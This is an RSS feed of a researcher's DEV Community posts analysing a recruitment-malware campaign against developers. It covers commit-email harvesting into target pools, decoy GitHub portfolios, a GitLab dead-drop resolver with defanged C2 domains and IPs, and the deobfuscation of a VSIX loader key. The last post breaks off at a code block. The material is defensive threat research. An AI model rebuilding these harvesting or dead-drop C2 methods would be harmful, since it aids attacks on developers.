<?xml version="1.0" encoding="UTF-8"?>
<rss version="2.0" xmlns:atom="http://www.w3.org/2005/Atom" xmlns:dc="http://purl.org/dc/elements/1.1/">
  <channel>
    <title>DEV Community: Ilja Krasnjanski</title>
    <description>The latest articles on DEV Community by Ilja Krasnjanski (@ik-iljakrasnjanski).</description>
    <link>https://dev.to/ik-iljakrasnjanski</link>
    <image>
      <url>https://media2.dev.to/dynamic/image/width=90,height=90,fit=cover,gravity=auto,format=auto/https:%2F%2Fdev-to-uploads.s3.us-east-2.amazonaws.com%2Fuploads%2Fuser%2Fprofile_image%2F3717241%2F589af226-6577-4290-a8a1-f25d9f56ef3a.png</url>
      <title>DEV Community: Ilja Krasnjanski</title>
      <link>https://dev.to/ik-iljakrasnjanski</link>
    </image>
    <atom:link rel="self" type="application/rss+xml" href="https://dev.to/feed/ik-iljakrasnjanski"/>
    <language>en</language>
    <item>
      <title>From Commit Metadata to a Developer Target List</title>
      <dc:creator>Ilja Krasnjanski</dc:creator>
      <pubDate>Fri, 06 Nov 2026 00:58:29 +0000</pubDate>
      <link>https://dev.to/ik-iljakrasnjanski/from-commit-metadata-to-a-developer-target-list-26i</link>
      <guid>https://dev.to/ik-iljakrasnjanski/from-commit-metadata-to-a-developer-target-list-26i</guid>
      <description>&lt;p&gt;The sender configuration pointed to two SQLite databases. I followed those references to the harvesting code and pools containing 79,698 and 62,667 rows, which together contain 142,365 distinct stored address strings associated with 27,698 repository values (the worker, configuration and read-only count records are summarized in &lt;a href="https://krasforge.github.io/UNK_DeadDrop/evidence/E08.pdf" rel="noopener noreferrer"&gt;E08&lt;/a&gt;), and the harvesting code collected those addresses from public commit metadata for use by the sender tooling.&lt;/p&gt;

&lt;h2&gt;
  
  
  One harvester fed two address pools
&lt;/h2&gt;

&lt;p&gt;The harvester selects repositories by star range, walks their branches to extract author and committer addresses, then lowercases and trims them before filtering, and visits up to twenty branches per repository in the recorded implementation. Worker configurations partition the search. Scheduler and merge code consolidate results into two master pools. MITRE ATT&amp;amp;CK classifies this reconnaissance as &lt;a href="https://attack.mitre.org/techniques/T1589/002/" rel="noopener noreferrer"&gt;gathering victim email addresses (T1589.002)&lt;/a&gt;. The SQLite relation is simple:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;emails
  email: stored address
  repo: associated repository value
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;The sender configuration refers to both pools. Different intervals, cooldowns and warm-up settings control how the tools consume them, and the toolkit names the two pools &lt;code&gt;safe&lt;/code&gt; and &lt;code&gt;antispam&lt;/code&gt;; the database references connect harvesting to message preparation, but no send logs were recovered to establish which addresses received messages.&lt;/p&gt;

&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.us-east-2.amazonaws.com%2Fuploads%2Farticles%2Fx3j9h02ddsfzozn2i5qt.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.us-east-2.amazonaws.com%2Fuploads%2Farticles%2Fx3j9h02ddsfzozn2i5qt.png" alt="Two pools, two different counting problems" width="800" height="624"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;&lt;em&gt;Figure 1. The address sets are disjoint, while repository values overlap between the two pools.&lt;/em&gt;&lt;/p&gt;

&lt;h3&gt;
  
  
  142,365 distinct address strings
&lt;/h3&gt;

&lt;p&gt;The two databases share some repository values. A SQL union counts each value once across both pools. Read-only aggregate queries on 23 October found:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;79,698 rows in the safe pool;&lt;/li&gt;
&lt;li&gt;62,667 rows in the antispam pool;&lt;/li&gt;
&lt;li&gt;an exact address overlap of zero between them;&lt;/li&gt;
&lt;li&gt;142,365 distinct address strings across both;&lt;/li&gt;
&lt;li&gt;27,698 distinct repository values across both.&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;The queries check address overlap and count the combined repository values:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight sql"&gt;&lt;code&gt;&lt;span class="c1"&gt;-- Address overlap&lt;/span&gt;
&lt;span class="k"&gt;SELECT&lt;/span&gt; &lt;span class="k"&gt;count&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="o"&gt;*&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;span class="k"&gt;FROM&lt;/span&gt; &lt;span class="n"&gt;main&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;emails&lt;/span&gt; &lt;span class="k"&gt;AS&lt;/span&gt; &lt;span class="n"&gt;s&lt;/span&gt;
&lt;span class="k"&gt;JOIN&lt;/span&gt; &lt;span class="n"&gt;other&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;emails&lt;/span&gt; &lt;span class="k"&gt;AS&lt;/span&gt; &lt;span class="n"&gt;a&lt;/span&gt; &lt;span class="k"&gt;ON&lt;/span&gt; &lt;span class="n"&gt;s&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;email&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;a&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;email&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;

&lt;span class="c1"&gt;-- Combined repository values&lt;/span&gt;
&lt;span class="k"&gt;SELECT&lt;/span&gt; &lt;span class="k"&gt;count&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="o"&gt;*&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="k"&gt;FROM&lt;/span&gt; &lt;span class="p"&gt;(&lt;/span&gt;
  &lt;span class="k"&gt;SELECT&lt;/span&gt; &lt;span class="n"&gt;repo&lt;/span&gt; &lt;span class="k"&gt;FROM&lt;/span&gt; &lt;span class="n"&gt;main&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;emails&lt;/span&gt;
  &lt;span class="k"&gt;UNION&lt;/span&gt;
  &lt;span class="k"&gt;SELECT&lt;/span&gt; &lt;span class="n"&gt;repo&lt;/span&gt; &lt;span class="k"&gt;FROM&lt;/span&gt; &lt;span class="n"&gt;other&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;emails&lt;/span&gt;
&lt;span class="p"&gt;);&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;In this comparison, the stored address sets are disjoint but the repository sets overlap. Adding the two repository counts would therefore overcount. The queries compare stored strings without additional address canonicalization or identity resolution, so aliases and multiple addresses belonging to one person remain separate entries.&lt;/p&gt;

&lt;p&gt;The sender code configures &lt;code&gt;mail.privateemail.com&lt;/code&gt; through variables carrying a &lt;code&gt;ZOHO&lt;/code&gt; prefix, which is a toolkit setting, not proof that this campaign used the service, and retained message headers show Mailgun VERP envelope behavior for the D2S and Category Labs messages, while the Nodit message used its own domain in the envelope. A forwarding service obscured the original sending IP, so its relay address is not attributed to the operators, and the &lt;a href="https://krasforge.github.io/UNK_DeadDrop/indicators/" rel="noopener noreferrer"&gt;indicator reference&lt;/a&gt; records the observed sender and tracking-domain details, with the limits of each observation.&lt;/p&gt;

&lt;h3&gt;
  
  
  Star ranges divided the repository search
&lt;/h3&gt;

&lt;p&gt;The three worker configurations each query a different band of repository star counts: &lt;code&gt;stars:101..137&lt;/code&gt;, &lt;code&gt;stars:138..174&lt;/code&gt; and &lt;code&gt;stars:175..210&lt;/code&gt;. None specifies a language, topic, keyword or organization. The harvester therefore searches public repositories across those bands instead of selecting a particular kind of developer.&lt;/p&gt;

&lt;p&gt;Of the 27,698 repository values, 595 (2.1 percent) have names suggesting 3D or graphics work, such as Blender, Unity, Unreal, WebGL, shaders or rendering. That count comes from repository names alone. The &lt;code&gt;3dscenebox[.]online&lt;/code&gt; lure in &lt;a href="https://krasforge.github.io/UNK_DeadDrop/articles/01-clickfix-clipboard-manipulation/" rel="noopener noreferrer"&gt;Part 1&lt;/a&gt; initially looked like a campaign against 3D artists, but the harvester shows no separate sourcing channel for that group, and the evidence fits a new cover story sent to the same broad pool.&lt;/p&gt;

&lt;h2&gt;
  
  
  Three repositories carried delivery kits
&lt;/h2&gt;

&lt;p&gt;I also examined the accounts supplying the recruitment material, separate from the repositories harvested for addresses; those five accounts active in July held 172 public repositories. I reviewed cached metadata and file trees, then classified repositories by language, project type and apparent role. Twelve repositories had directly evidenced operational roles:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;Three repositories carried delivery kits: two weaponised project copies in &lt;a href="https://krasforge.github.io/UNK_DeadDrop/articles/02-vsix-editor-execution/" rel="noopener noreferrer"&gt;Part 2&lt;/a&gt; and the ECHOES branch in &lt;a href="https://krasforge.github.io/UNK_DeadDrop/articles/09-echoes-lineage-image-provenance/" rel="noopener noreferrer"&gt;Part 9&lt;/a&gt;.&lt;/li&gt;
&lt;li&gt;Three were clean take-home assignments whose weaponised versions were delivered separately.&lt;/li&gt;
&lt;li&gt;Five were lure funnels.&lt;/li&gt;
&lt;li&gt;One held the harvesting and sending toolkit.&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;Seven others were forks of third-party projects, including two AI coding tools, while the catalogue labels 152 repositories as credibility props based on their names, file layouts and creation patterns and separately flags one more prop for an encrypted &lt;code&gt;.env&lt;/code&gt;, bringing the total to 172.&lt;/p&gt;

&lt;p&gt;The credibility props include NFT marketplaces, staking programs, dice and coinflip games, trading bots, pump.fun clones and small "GPT" tools, and they use the Rust, TypeScript and Python stack expected of a Solana or EVM contractor. Together, the 153 props make up roughly nine in ten repositories, giving each account the appearance of an active engineer's portfolio.&lt;/p&gt;

&lt;p&gt;The creation dates show how some of the accounts were built. On the flagship account, 67 of 90 repositories appeared within five days in April 2024, while a second persona account had been dormant since 2017, then received 68 repositories between 27 June and 1 July 2025. Three had exact byte-size matches under new names on the flagship account.&lt;/p&gt;

&lt;p&gt;&lt;code&gt;pridnet&lt;/code&gt; forked five real trading and LLM projects in March 2026, went quiet for 68 days, then published the weaponised assessment repository. &lt;code&gt;Lyracartoon&lt;/code&gt; held only its two weaponised repositories. A byte-level sweep using two methods found operator indicators only in the known weaponised copies.&lt;/p&gt;

&lt;p&gt;The other signature hits were false positives I checked by reading the files: a benign clipboard helper copied the text it displayed, and a marker matched inside the word &lt;code&gt;bogus&lt;/code&gt; in a fork of Aider. Seven install hooks belonged to ordinary build tooling. The credibility repositories carried no payload, but their apparent activity could make a recruiter seem trustworthy.&lt;/p&gt;

&lt;h2&gt;
  
  
  A public contract repo directed questions to a private contact
&lt;/h2&gt;

&lt;p&gt;Five of the repositories invert the recruitment model, so that the developer is drawn in rather than written to, and the most visible, a "pump.fun-compatible" Solana contract with 128 stars and about fifty forks, implements initialization and liquidity provision. Its fund-moving &lt;code&gt;remove_liquidity&lt;/code&gt; handler, however, has been reduced to a stub:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight rust"&gt;&lt;code&gt;&lt;span class="k"&gt;pub&lt;/span&gt; &lt;span class="k"&gt;fn&lt;/span&gt; &lt;span class="nf"&gt;remove_liquidity&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="cm"&gt;/* ... */&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="k"&gt;-&amp;gt;&lt;/span&gt; &lt;span class="nb"&gt;Result&lt;/span&gt;&lt;span class="o"&gt;&amp;lt;&lt;/span&gt;&lt;span class="p"&gt;()&lt;/span&gt;&lt;span class="o"&gt;&amp;gt;&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
    &lt;span class="c1"&gt;// If you want to Interact with CPI, then plz contact to me.&lt;/span&gt;
    &lt;span class="nf"&gt;Ok&lt;/span&gt;&lt;span class="p"&gt;(())&lt;/span&gt;
&lt;span class="p"&gt;}&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;The repository's pull requests show the pool-removal and migration code being written, then withheld from the public version, which makes the missing code deliberate rather than unfinished. The README, contribution guide, &lt;code&gt;SECURITY.md&lt;/code&gt; and API documentation direct questions to the same Telegram contact listed in the operators' portfolio material.&lt;/p&gt;

&lt;p&gt;An issue from a user who hit the missing module shows the stub at work. Eight inspected forks contain the same 942-byte stub, and none publishes a working version, which suggests the full code was offered privately to people who asked. The public repository has registry-only dependencies, no install hooks, no editor configuration and no hard-coded operator key. The contents of a private version remain unknown. It might add authority over deployed pools, include a developer-machine payload, or be ordinary paid contract work. The evidence cannot distinguish among these possibilities. Obtaining it would require engaging the operators.&lt;/p&gt;

&lt;p&gt;The public repository names a real 2024 launchpad as its homepage, and a second operator repository describes its Solidity contract as written for the same site. The project had its own public team, on-chain program and deployer authorities. None matches a wallet in the operator set. The link supports contract work for the launchpad, not ownership of it. The domain's later re-registration served an unrelated site.&lt;/p&gt;

&lt;h2&gt;
  
  
  No message logs or endpoint records were recovered
&lt;/h2&gt;

&lt;p&gt;The harvester collected addresses for messages; the public contract projects drew developers toward private conversations. Sender configuration connects the databases to message preparation, but counting people contacted or compromised would require send logs and endpoint records, which were not recovered. The repository total also counts stored values. I did not reverify each repository's existence or ownership.&lt;/p&gt;

&lt;p&gt;The &lt;a href="https://krasforge.github.io/UNK_DeadDrop/articles/08-administration-platform/" rel="noopener noreferrer"&gt;administration frontend&lt;/a&gt; contains mail and wallet views, but its connection to these particular SQLite pools remains unverified.&lt;/p&gt;




&lt;p&gt;&lt;em&gt;Originally published on the &lt;a href="https://krasforge.github.io/UNK_DeadDrop/articles/07-developer-target-harvesting/" rel="noopener noreferrer"&gt;UNK_DeadDrop research site&lt;/a&gt;.&lt;/em&gt;&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;References&lt;/strong&gt;&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;
&lt;strong&gt;Campaign paper:&lt;/strong&gt; &lt;a href="https://krasforge.github.io/UNK_DeadDrop/downloads/UNK_DeadDrop-Preprint.pdf" rel="noopener noreferrer"&gt;UNK_DeadDrop: An Artifact-Based Study of Recruitment Malware&lt;/a&gt; (PDF)&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Scanner paper:&lt;/strong&gt; &lt;a href="https://krasforge.github.io/UNK_DeadDrop/downloads/UNK-Scanner-Paper.pdf" rel="noopener noreferrer"&gt;Static AST-Based Triage of Socially-Engineered Developer Lures&lt;/a&gt; (PDF)&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Scanner:&lt;/strong&gt; &lt;a href="https://github.com/KrasForge/unk-scanner" rel="noopener noreferrer"&gt;unk-scanner on GitHub&lt;/a&gt;, with rules and inert fixtures&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Series:&lt;/strong&gt; &lt;a href="https://krasforge.github.io/UNK_DeadDrop/" rel="noopener noreferrer"&gt;all fourteen parts on the UNK_DeadDrop research site&lt;/a&gt;
&lt;/li&gt;
&lt;/ul&gt;

</description>
      <category>security</category>
      <category>github</category>
      <category>privacy</category>
      <category>infosec</category>
    </item>
    <item>
      <title>Following the GitLab Dead Drop: Configuration Changes and C2 History</title>
      <dc:creator>Ilja Krasnjanski</dc:creator>
      <pubDate>Fri, 06 Nov 2026 00:57:49 +0000</pubDate>
      <link>https://dev.to/ik-iljakrasnjanski/following-the-gitlab-dead-drop-configuration-changes-and-c2-history-4c51</link>
      <guid>https://dev.to/ik-iljakrasnjanski/following-the-gitlab-dead-drop-configuration-changes-and-c2-history-4c51</guid>
      <description>&lt;p&gt;On 13 July 2026, a GitLab commit replaced a list of server names with &lt;code&gt;api.cklomino[.]ink&lt;/code&gt; and &lt;code&gt;api.dsfmot[.]xyz&lt;/code&gt; (the retained repository bundle and file history are documented in &lt;a href="https://krasforge.github.io/UNK_DeadDrop/evidence/E07.pdf" rel="noopener noreferrer"&gt;E07&lt;/a&gt;). The file held configuration, not a payload. The client reads its destination from this resource; changing the server list therefore changes where an unchanged payload can connect. The payload hash stays the same. The configuration history records the changing destinations, and certificate and panel observations connect one of those domains to a historical origin address, while the &lt;a href="https://krasforge.github.io/UNK_DeadDrop/indicators/" rel="noopener noreferrer"&gt;historical indicator reference&lt;/a&gt; lists every recorded resolver value, the separate unreferenced file, related lure hosts and the limits on each IP association.&lt;/p&gt;

&lt;p&gt;The later July installer family used a separate mechanism; its &lt;code&gt;upd_m&lt;/code&gt;, &lt;code&gt;upd_w&lt;/code&gt;, &lt;code&gt;upda_m&lt;/code&gt; and &lt;code&gt;upda_w&lt;/code&gt; droppers embedded &lt;code&gt;api.aazdias[.]ink&lt;/code&gt; as the primary store and &lt;code&gt;api.fallaazdis[.]ink&lt;/code&gt; as the fallback, and those values came from the recovered dropper configuration, not from the GitLab &lt;code&gt;config.json&lt;/code&gt; history. The origin association to &lt;code&gt;207.241.172[.]222&lt;/code&gt; came from dated certificate and passive-scan observations, not a direct fetch from that address.&lt;/p&gt;

&lt;h2&gt;
  
  
  The payload fetches &lt;code&gt;config.json&lt;/code&gt; from GitLab
&lt;/h2&gt;

&lt;p&gt;The payload references this resource:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;gitlab[.]com/drop-indexing/tasks/-/raw/main/config.json
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;The repository also contains a separate &lt;code&gt;config-alt.json&lt;/code&gt; file with another pair of destination strings. Neither retained payload references it. Client use of this second file remains unknown.&lt;/p&gt;

&lt;p&gt;The recovered JavaScript has its own hard-coded fallback, &lt;code&gt;api.domatisc[.]ink&lt;/code&gt;, and a resolver function that requests the raw GitLab &lt;code&gt;config.json&lt;/code&gt; resource, though no retained endpoint log confirms that a victim fetched either file. This code pattern is relevant to MITRE ATT&amp;amp;CK's &lt;a href="https://attack.mitre.org/techniques/T1102/001/" rel="noopener noreferrer"&gt;dead drop resolver technique (T1102.001)&lt;/a&gt;. A payload with the same hash can receive different destinations depending on when it fetches this resource.&lt;/p&gt;

&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.us-east-2.amazonaws.com%2Fuploads%2Farticles%2Fo2ggvziyni35obojn8kv.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.us-east-2.amazonaws.com%2Fuploads%2Farticles%2Fo2ggvziyni35obojn8kv.png" alt="Timeline of the referenced config.json changes and the separate config-alt.json file" width="800" height="504"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;&lt;em&gt;Figure 1. The referenced configuration changed in May and July. A separate file was added in June, but no retained payload references it.&lt;/em&gt;&lt;/p&gt;

&lt;h3&gt;
  
  
  Five May revisions, then a new server pair in July
&lt;/h3&gt;

&lt;p&gt;The primary file has five recorded revisions on 26 May, beginning with an initial set of &lt;code&gt;domatisc[.]ink&lt;/code&gt;, &lt;code&gt;coslyintra[.]online&lt;/code&gt; and &lt;code&gt;valorecuiting[.]online&lt;/code&gt;, after which subsequent edits remove and restore an entry, introduce &lt;code&gt;api.&lt;/code&gt; prefixes, and finally leave a set of two hosts. The recorded states after that, in order, are:&lt;/p&gt;

&lt;ol&gt;
&lt;li&gt;26 May 2026, final listed revision of &lt;code&gt;config.json&lt;/code&gt;: &lt;code&gt;api.domatisc[.]ink&lt;/code&gt; and &lt;code&gt;api.coslyintra[.]online&lt;/code&gt;.&lt;/li&gt;
&lt;li&gt;1 June 2026, separate file &lt;code&gt;config-alt.json&lt;/code&gt;: &lt;code&gt;api.onoplainai[.]ink&lt;/code&gt; and &lt;code&gt;api.migadyn[.]info&lt;/code&gt;. Its use by the recovered client is unestablished.&lt;/li&gt;
&lt;li&gt;13 July 2026, about 07:10 UTC, &lt;code&gt;config.json&lt;/code&gt;: &lt;code&gt;api.cklomino[.]ink&lt;/code&gt; and &lt;code&gt;api.dsfmot[.]xyz&lt;/code&gt;.&lt;/li&gt;
&lt;/ol&gt;

&lt;p&gt;Commit &lt;code&gt;c3c71d65&lt;/code&gt; replaces the primary destination set left by the May revisions, and the retained history contains six commits to &lt;code&gt;config.json&lt;/code&gt; and one to &lt;code&gt;config-alt.json&lt;/code&gt; (the latter is a separately recorded resource, not an evidenced client fallback).&lt;/p&gt;

&lt;p&gt;Client refresh behavior determines when a configuration change takes effect. A client that fetches the file again may receive a new address, while one using a cached destination may continue trying the old server, and the retained history contains no client execution trace to resolve that behavior. Blocking a destination can interrupt traffic, while a client that consults this configuration resource may receive another address, so connection records are needed to identify the destination each client used.&lt;/p&gt;

&lt;h2&gt;
  
  
  A July hostname linked to a reported origin
&lt;/h2&gt;

&lt;p&gt;I compared the resolver hostnames with historical scan records to investigate the services behind them, and July scan notes associate &lt;code&gt;207.241.172[.]222&lt;/code&gt; with C2 and administration services, and they record a certificate naming &lt;code&gt;api.cklomino[.]ink&lt;/code&gt; and a third-party bare-IP scan that returned a Subtensor sign-in panel. The raw scan responses and certificate were not retained. The panel HTML and JavaScript available for inspection were retrieved from &lt;code&gt;api.domatisc[.]ink&lt;/code&gt;, so they cannot independently reproduce the reported response from the bare IP.&lt;/p&gt;

&lt;p&gt;The panel adds an application-level association to the certificate evidence, while further relationships came from certificate facets, passive DNS and reverse-DNS fields. These observations came from research-service records. The origin analysis did not directly scan the server or log in. &lt;a href="https://krasforge.github.io/UNK_DeadDrop/evidence/E20.pdf" rel="noopener noreferrer"&gt;E20&lt;/a&gt; and &lt;a href="https://krasforge.github.io/UNK_DeadDrop/evidence/E21.pdf" rel="noopener noreferrer"&gt;E21&lt;/a&gt; record the source and limits of those historical associations.&lt;/p&gt;

&lt;p&gt;The July observations associated &lt;code&gt;207.241.172[.]222&lt;/code&gt; with C2 and administration, &lt;code&gt;170.205.31[.]182&lt;/code&gt; with lure hosting, and &lt;code&gt;23.137.105[.]75&lt;/code&gt; with earlier C2 infrastructure. These roles describe the recorded periods. Current availability and ownership were not checked.&lt;/p&gt;

&lt;h3&gt;
  
  
  The SSH host-key search found no new address
&lt;/h3&gt;

&lt;p&gt;The saved service enumeration listed SSH, HTTP and HTTPS. Its SSH profile included a host key, banner and handshake information, but these had different value as search pivots, as the common OpenSSH banner and handshake fingerprint matched broad populations of hosts, while the more selective host key returned only the address already known. The search found no backup address. Hosts absent from that dataset remain outside its coverage. The reported panel response did not enumerate every tenant at the address, and other services may have shared the address, so an IP block could affect unrelated traffic.&lt;/p&gt;

&lt;h3&gt;
  
  
  The 23 July certificates added hostnames
&lt;/h3&gt;

&lt;p&gt;The 23 July certificate enumeration added names that were absent from the inspected payloads: a &lt;code&gt;dashboard&lt;/code&gt; host on the cklomino base, &lt;code&gt;dev&lt;/code&gt; and &lt;code&gt;hr&lt;/code&gt; mail subdomains on lure domains, and a &lt;code&gt;hiring&lt;/code&gt; host alongside a career-themed API. The &lt;a href="https://krasforge.github.io/UNK_DeadDrop/indicators/" rel="noopener noreferrer"&gt;indicator reference&lt;/a&gt; records the names and first-issuance dates. These records identify certificate names, not proof that each host served a malicious application.&lt;/p&gt;

&lt;p&gt;The certificates did not provide a cross-domain link. Subject alternative names stayed within individual registered bases, with combinations of the base, wildcards and subdomains such as &lt;code&gt;api.&lt;/code&gt;, &lt;code&gt;www.&lt;/code&gt; and &lt;code&gt;email.&lt;/code&gt;, and no retained enumeration entry combined two bases in one certificate. Wildcards also mean that a new subdomain can appear without a new certificate-log entry.&lt;/p&gt;

&lt;p&gt;Timing offered more context. Certificates for four bases were first issued on 13 July, the date of the resolver's change to &lt;code&gt;api.cklomino[.]ink&lt;/code&gt; and &lt;code&gt;api.dsfmot[.]xyz&lt;/code&gt;. On 23 July, &lt;code&gt;aazdias[.]ink&lt;/code&gt; and &lt;code&gt;fallaazdis[.]ink&lt;/code&gt; were registered about six minutes apart through the same registrar and privacy service, with the same Cloudflare nameserver pair. Their primary-and-fallback naming repeats the earlier &lt;code&gt;aavzx[.]ink&lt;/code&gt; and &lt;code&gt;fallbaav[.]ink&lt;/code&gt; arrangement, and the current stores, a new dashboard host and several older lure domains also received certificates that day.&lt;/p&gt;

&lt;p&gt;Shared panels and certificate automation can produce this cadence across unrelated customers, so I used the timing to check code and configuration relationships, rather than to assign hosts to the cluster. These registration and enumeration observations come from restricted 23 July records and are discussed in the &lt;a href="https://krasforge.github.io/UNK_DeadDrop/downloads/UNK_DeadDrop-Preprint.pdf" rel="noopener noreferrer"&gt;paper&lt;/a&gt;, but are not independently reproduced in the public evidence exhibits.&lt;/p&gt;

&lt;p&gt;A sweep of two /23 ranges belonging to the hosting provider covered about a thousand addresses; 291 exposed services. The provider used ordinary shared hosting. About twenty unrelated tenants ran services on port 3000, while the free scan dataset returned no results for the agent's port 5173 in either range, and those observations make port-based hunting a poor discriminator: port 3000 was common among unrelated tenants, and the dataset did not cover the agent's port. The results come from research services and have not been refreshed since 24 July.&lt;/p&gt;

&lt;p&gt;Part 7 follows the target-acquisition tooling behind the two SQLite pools.&lt;/p&gt;




&lt;p&gt;&lt;em&gt;Originally published on the &lt;a href="https://krasforge.github.io/UNK_DeadDrop/articles/06-gitlab-dead-drop-infrastructure/" rel="noopener noreferrer"&gt;UNK_DeadDrop research site&lt;/a&gt;.&lt;/em&gt;&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;References&lt;/strong&gt;&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;
&lt;strong&gt;Campaign paper:&lt;/strong&gt; &lt;a href="https://krasforge.github.io/UNK_DeadDrop/downloads/UNK_DeadDrop-Preprint.pdf" rel="noopener noreferrer"&gt;UNK_DeadDrop: An Artifact-Based Study of Recruitment Malware&lt;/a&gt; (PDF)&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Scanner paper:&lt;/strong&gt; &lt;a href="https://krasforge.github.io/UNK_DeadDrop/downloads/UNK-Scanner-Paper.pdf" rel="noopener noreferrer"&gt;Static AST-Based Triage of Socially-Engineered Developer Lures&lt;/a&gt; (PDF)&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Scanner:&lt;/strong&gt; &lt;a href="https://github.com/KrasForge/unk-scanner" rel="noopener noreferrer"&gt;unk-scanner on GitHub&lt;/a&gt;, with rules and inert fixtures&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Series:&lt;/strong&gt; &lt;a href="https://krasforge.github.io/UNK_DeadDrop/" rel="noopener noreferrer"&gt;all fourteen parts on the UNK_DeadDrop research site&lt;/a&gt;
&lt;/li&gt;
&lt;/ul&gt;

</description>
      <category>security</category>
      <category>malware</category>
      <category>gitlab</category>
      <category>infosec</category>
    </item>
    <item>
      <title>Parsing Without Executing: JavaScript Deobfuscation with Acorn</title>
      <dc:creator>Ilja Krasnjanski</dc:creator>
      <pubDate>Mon, 02 Nov 2026 02:17:36 +0000</pubDate>
      <link>https://dev.to/ik-iljakrasnjanski/parsing-without-executing-javascript-deobfuscation-with-acorn-19h0</link>
      <guid>https://dev.to/ik-iljakrasnjanski/parsing-without-executing-javascript-deobfuscation-with-acorn-19h0</guid>
      <description>&lt;p&gt;The VSIX loader assembled one AES key from sixteen fragments: nine decoder calls and seven literals. Recovering it required mapping wrapper functions and a rotated string table, and my first regex missed a wrapper that declared an intermediate value before returning, while five plausible rotations then failed checks across the call sites.&lt;/p&gt;

&lt;p&gt;All three encrypted payloads passed GCM authentication under the reconstructed key. The recovered components and authentication procedure are recorded in &lt;a href="https://krasforge.github.io/UNK_DeadDrop/evidence/E04.pdf" rel="noopener noreferrer"&gt;Exhibit E04&lt;/a&gt;. &lt;a href="https://www.proofpoint.com/us/blog/threat-insight/dont-fear-repo-unkdeaddrop-phishing-campaign-targets-developers-steal" rel="noopener noreferrer"&gt;Proofpoint's report&lt;/a&gt; also documents the key and Windows architecture.&lt;/p&gt;

&lt;h2&gt;
  
  
  Wrapper calls hide the key's construction
&lt;/h2&gt;

&lt;p&gt;The key assignment combines literals with calls to several wrapper functions, and a wrapper may change the index, reorder its arguments or add an offset before invoking the underlying decoder, so each call must be traced through its wrapper. The July analysis identified seven wrappers in the bootstrap and five in &lt;code&gt;extension.js&lt;/code&gt;. Each needed three fields mapped:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;Which argument supplies the string-table index?
Which argument supplies the decoder key?
What offset is applied before the underlying call?
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;A regex that expects every wrapper to return a decoder call immediately can miss a function that first declares an intermediate value, while &lt;a href="https://github.com/acornjs/acorn" rel="noopener noreferrer"&gt;Acorn&lt;/a&gt; represents both statements in the syntax tree. It does not solve the decoder automatically, but it provides a more reliable structure to inspect than text patterns.&lt;/p&gt;

&lt;h3&gt;
  
  
  One wrapper assigns a temporary value
&lt;/h3&gt;

&lt;p&gt;This synthetic example parses a wrapper containing a declaration before its return statement:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
